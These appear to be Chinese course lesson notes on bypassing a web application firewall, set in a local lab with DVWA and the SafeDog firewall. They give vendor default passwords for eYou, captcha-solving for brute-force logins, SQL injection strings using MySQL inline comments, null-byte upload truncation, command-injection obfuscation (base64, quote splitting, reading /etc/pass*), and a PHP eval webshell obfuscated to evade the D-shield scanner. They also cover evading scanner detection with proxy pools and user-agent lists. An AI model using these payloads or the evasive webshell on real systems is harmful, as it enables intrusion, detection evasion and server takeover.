第十二周 waf绕过和前端加密绕过

一.CTF

CTF(Capture The Flag,夺旗赛)是一种在网络安全领域中非常流行的技术竞技比赛形式。它起源于1996年的DEFCON全球黑客大会,旨在替代之前黑客们通过互相发起真实攻击进行技术比拼的方式。

CTF比赛主要有三种竞赛模式:

  1. 解题模式(Jeopardy):参赛队伍通过解决网络安全技术挑战题目来得分,类似于ACM编程竞赛。题目主要包括逆向工程、漏洞挖掘与利用、Web渗透、密码学、取证、隐写、安全编程等。

  2. 攻防模式(Attack-Defense):参赛队伍在网络空间互相进行攻击和防守,挖掘网络服务漏洞并攻击对手服务来得分,同时修补自身服务漏洞进行防御来避免丢分。

  3. 混合模式(Mix):结合了解题模式与攻防模式的CTF赛制,参赛队伍通过解题获取初始分数,然后通过攻防对抗进行得分增减。

好了,我来推荐一个网站,可以用来练习习题:CTFHub

从这个网站我们可以看到什么时候有赛事,且有练习题

实验:

然后发现其特征,发现是eYou,我们可以找它的默认网关。

admin:+-ccccc

eyougw:admin@(eyou)

eyouuser:eyou_admin

然后就成功了。

所以当我们发现一个登录界面的时候,不用直接就开始爆破,可以根据特征,来找它的默认口令,用默认口令来试一下。

二验证码绕过

1.实验:

phpstduy搭建yxcms,使用nginx,php版本选择5.x即可

读取验证码的工具

2.captcha-killer-modified

介绍

captcha-killer-modified 是一款用 Java 编写的Burp 插件 ,其设计理念专注于各种验证码识别技术接口的调用。具体而言,Burp 通过这一个插件,即可适配多种验证码识别接口,无需重复编写调用代码。就是识别验证码的,不过要注意,这个插件识别验证码并不是100%的,偶尔人会出错。如果不喜欢这个插件可以直接找商业的:GitHub - hlmsbrnd/yanzhengma: 2025年最好用的验证码识别平台【整理汇总】

下载地址:Releases · f0ng/captcha-killer-modified

首先打开已经下载好的所在处,打开cmd输入

复制代码
 pip install -r requirement.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
python codereg.py

然后再打开burp,找到扩展,把下好的插件装好.

登录网页

先随机登录,等到服务器端把验证码图片重新发过来,我们利用burp抓捕,然后传到扩展里,点击send to captcha panel

3.爆破攻击

发送到重放器里面

发送到Intruder

攻击类型选择 Pitchfork,由于验证码和请求绑定,因此不能使用多线程,只能单线程爆破。

不过有可能因为验证码错误而导致登录失败。

1.我们可以根据长度来重新发

2.用商业的来整

只不过换一下接口

3.进入后台并getshell

三waf绕过

1.什么是waf

WAF全称叫Web Application Firewall,和传统防火墙的区别是,它是工作在应用层的防火墙,主要对web请求/响应进行防护。

二、什么是 "WAF 绕过"?

"WAF 绕过" 就是 "坏人"(攻击者)想办法骗过门口的保安(WAF),让带有恶意的请求成功进入网站,从而达到攻击目的。

三、常见的 "骗保安"(WAF 绕过)方法

  1. 伪装术(编码混淆) 把恶意代码 "化妆",改变它的外在形式但不改变功能。比如把攻击代码里的<script>写成 HTML 编码格式,或者把字母换成数字表示(比如 "A" 变成 "%41"),让保安认不出这是恶意内容。

  2. **走侧门(非常规入口,例如狗洞之类的)**不通过网站常用的 "正门"(比如默认的 80 端口、443 端口),转而尝试 "侧门" 或 "后门"(比如 8080 端口、8888 端口);也不使用常规的请求方法(GET/POST),改用 PUT/DELETE 等不常用的方法,绕开保安重点检查的入口。

  3. **分散注意力(请求分割)**把一句完整的恶意代码拆成好几部分,分多次发送给网站。就像把 "我要攻击" 拆成 "我"+"要"+"攻"+"击" 分别发送,让保安看到单部分内容时,误以为是正常信息,从而通过检查。

  4. **找保安盲区(规则探测)**先发送一些简单的测试请求,观察保安(WAF)会拦截哪些内容、放过哪些内容。通过多次测试和调整,逐渐找到保安 "不管" 的内容或规则漏洞,再用符合漏洞的方式发送恶意请求。

四.安全狗为例子

这里我们先下载waf为例子,我用的是安全狗:网站安全狗-网站安全防护,防后门|防SQL注入|防CC攻击|网马查杀|防篡改

我们下载的是apacha版本的,所以下好后,先得配置phpstudy。

默认情况下,phpstudy 没有将 Apache 以服务形式安装,而安全狗需要 Apache 以服务形式启动才能顺利安装,因此需要手动操作来安装 Apache 服务。(安装过程当中必须得检测到,但是这玩意并不需要apache服务)

  • 关闭 apache 程序及 httpd.exe
  • 进程进入 D:\phpstudy_pro\Extensions\Apache2.4.39\bin 目录

执行

复制代码
 httpd.exe -k install -n apache2.4.39

整好后启动服务

然后开始下载安全狗

安装完后记得禁用或者直接删除,不然会影响php的使用

五.安全狗的表现

启动dvwa来作为靶场

在sql注入输入1' and 1=1 --- a会出现。

六.WAF绕过sql注入

已经看到它的能力,接下来整如何绕过它.

1。/*! */ 被称之为内联注释

在 MySQL 中,/*! */ 被称之为内联注释,里面的内容是会被 MySQL 解析的。解析情况分为以下两种:

1.1带版本号的内联注释:

注释内以 "版本号" 开头,后跟 SQL 语句,这里的 "50001" 代表 MySQL 5.0.1 版本,只有当当前 MySQL 版本大于或等于输入的版本号( 5.0.1) 时,注释内的 DISTINCT 关键字才会被解析执行;

复制代码
SELECT /*!50001 DISTINCT */ username FROM users;
1.2不带版本号的内联注释

注释内仅包含 SQL 语句,其他数据库是会被忽视的 。这种情况下,无论 MySQL 版本如何,注释内的 username 都会被当作正常 SQL 部分解析执行,效果等同于 SELECT username FROM users;。

复制代码
SELECT /*! username */ FROM users

2、绕过联合注入

输入

复制代码
11' order by 1 -- a

把order by 换为 group by 利⽤group by直接绕过

复制代码
1' group by 2-- a
复制代码
1' union select 1,2--+ 报错

而先来了解一下 regexp(正则函数),分别在数据库中执行下列语句。

复制代码
SELECT * FROM users WHERE user REGEXP 'a';
select * from users where user like "%a%";


加入的REGEXP "%0A%23" 或者LIKE "%0A%23"并没有实际意义,也没有进行正则匹配。单纯是为了绕过检测,因为安全狗不检测%23后的内容。%23用URL为#。

复制代码
1' regexp "%0A%23" union select+*/1,2-- a 会被拦截

在使用内联注释

复制代码
1' regexp "%0A%23" /*!11144union %0A select */1,2-- a

获取数据库,还是被拦截的话

复制代码
1' regexp "%0A%23" /*!11144union %0A select */database(),2-- a

继续使用内联注释

复制代码
1' regexp "%0A%23"/*!11144union %0A select*/ 1,database(%0A /*!11144*/)-- a

七.WAF绕过XSS攻击

输入,发现失效

复制代码
<script>alert(1)</script>

1.利用00截断绕过

其他的几乎都在最新版本失效。利用burp进行抓包,发现并不是代码的问题,哪怕是空的都不行。

虽然换成jpg可以,但是不解析代码而无用,这时候就可以用00截断了。将文件名称改为one.php;%00.jpg(不是很准确,可以删掉;)。不过记得把%00转换为urldecole

八.WAF绕过命令执行

复制代码
system() #输出并返回最后⼀⾏shell结果
exec() #不输出结果,返回最后⼀⾏shell结果,所有结果保存到⼀个返回数组⾥
passthru() #只调⽤命令,把命令的运⾏结果原样输出到标准输出设备上
popen()、proc_open() #不会直接返回执⾏结果,⽽是返回⼀个⽂件指针
shell_exec() #通过shell执⾏命令并以字符串的形式返回完整的输出
反引号 #本质是使⽤shell_exec()函数

1.命令分隔符
Windows : &&   ||   & |
Linux : && ||   & | ;
分号 ; 在 shell 中担任连续指令的功能
2.拼接

复制代码
#在linux系统中
a=g;cat fla$a.php
a=fl;b=ag.php;cat $a$b
#在php的ping环境中
ip=;a=g;cat fla$a.php
ip=;a=fl;b=ag.php;cat $a$b

3.编码

复制代码
$(echo "Y2F0IHRlc3QudHh0"|base64 -d)

4.单引号、双引号绕过

复制代码
cat te''st.txt
cat te""st.txt
c''at te''st.txt
c""at te""st.txt

5.反斜杠绕过

复制代码
cat te\st.txt
c\at te\st.txt

6.通配符绕过

复制代码
cat /etc/pass*

Windows命令执行绕过

复制代码
w"h"o"a"m"i
"w"h"o"a"m"i"
"w"h"o"a"m"i
w"h"o"a"m"i"
who^ami
wh""o^a^mi
wh""o^a^mi
((((Wh^o^am""i))))
(Wh^o^am""i)
(Whoami)


set a=who
set b=ami
%a%%b% //正常执⾏whoami
call %a%%b% //正常执⾏whoami

九.WAF绕过脚本免杀

这个我们使用D盾:D盾防火墙

扫描一个木马,可以看出D盾扫出来了。

然后尝试对脚本进行免杀处理

复制代码
<?php
 $name = $_POST[1];
 $name = substr($name,0);
 eval("echo 123;" . $name."echo 456; " );>

就从后门文件将为可以文件,级别也变低了。在实战中可能会躲避检测。

再次对文件进行混淆模式,就是把代码混成我们自个都完全看不出来的样子,让WAF无法识别出木马的特征,从而绕过脚本免杀。在线php混淆:在线PHP代码混淆加密工具 - UU在线工具。

如果发现D盾还是可以发现木马,那就在找个网站来混淆试试。:PHP混淆工具 - 终极版。这是我自己找到的.如果有问题概不负责。

再尝试一下

没有出现2.php证明混淆成功.利用蚁剑连接,证明2.php没有因为混淆从而失效。

十.WAF绕过漏洞扫描

通常在实战中,当我们需要进行漏洞扫描的时候,常常被 WAF 产品拦截,导致扫描结果不可用,出现很大的误报,这时候需要采取 WAF 绕过扫描。

触发 WAF 的原因:

  1. 漏扫线程过大被封禁。解决方法:延时,低线程,使用代理池,白名单扫描
  2. 工具指纹被 WAF 识别被封禁。解决方法:指纹特征修改,模拟用户漏扫
  3. 漏洞单点 payload 特征被 WAF 识别封禁。解决方法:数据变异绕过,多种工具集合扫描尝试。

1.WAF绕过漏洞扫描实践
使用代理池: 快代理 - 企业级HTTP代理IP云服务_专注IP代理11年

2. 更换user-agent
有些扫描工具的UA是固定的,且存在特征。

复制代码
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTM
L, like Gecko) Version/10.1.2 Safari/603.3.8
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/604.3.5 (KHTM
L, like Gecko) Version/11.0.1 Safari/604.3.5
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/604.4.7 (KHTM
L, like Gecko) Version/11.0.2 Safari/604.4.7
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/604.3.5 (KHTM
L, like Gecko) Version/11.0.1 Safari/604.3.5
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/63.0.3239.108 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTM
L, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTM
L, like Gecko) Version/11.0.2 Safari/604.4.7
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.19 (KHTML,
like Gecko) Chrome/18.0.1025.45 Safari/535.19
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ko; rv:1.9.1b2) Gecko/2008
1201 Firefox/3.1b2
Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/533.4 (KHTM
L, like Gecko) Chrome/5.0.375.86 Safari/533.4
Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrom
e/63.0.3239.132 Safari/537.36
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrom
e/63.0.3239.84 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Geck
o) Chrome/63.0.3239.132 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Geck
o) Chrome/63.0.3239.84 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

3、修改漏扫特征指纹

4、降低线程,扫描敏感度,使用流量代理转发

5、使用冷门工具代替常见漏扫工具。

相关推荐
卸任11 小时前
Vibe coding工具使用心得
前端·ai编程
brien912 小时前
为什么模型标称 1M,Google Antigravity 聊到 256K 却突然失忆?我们给它做了个原生行内监控圆环
前端
修炼的dance12 小时前
录屏关键帧间隔多少合适?六档实测,2秒到10秒小了75.6%
前端
Lank_M12 小时前
关键帧从1秒拉到10秒,录屏小87.3%,摄像头小10.8%
前端
补码缩写12 小时前
用 ffprobe 拆录屏,八成字节在 29 个关键帧上
前端
百思不得小李12 小时前
一个复杂的动态表单是如何实现的
前端·设计模式
陈随易13 小时前
Cmder 停更 17 个月,2.0 支持 Windows Terminal
前端·后端·程序员
风骏时光牛马13 小时前
前沿视界
前端
kyriewen13 小时前
我扫了 814 个依赖,97 个还敢要 Node 10
前端·javascript·程序员
陈随易13 小时前
3000 万人在用的翻译插件,重写一遍就是一门生意
前端·后端·程序员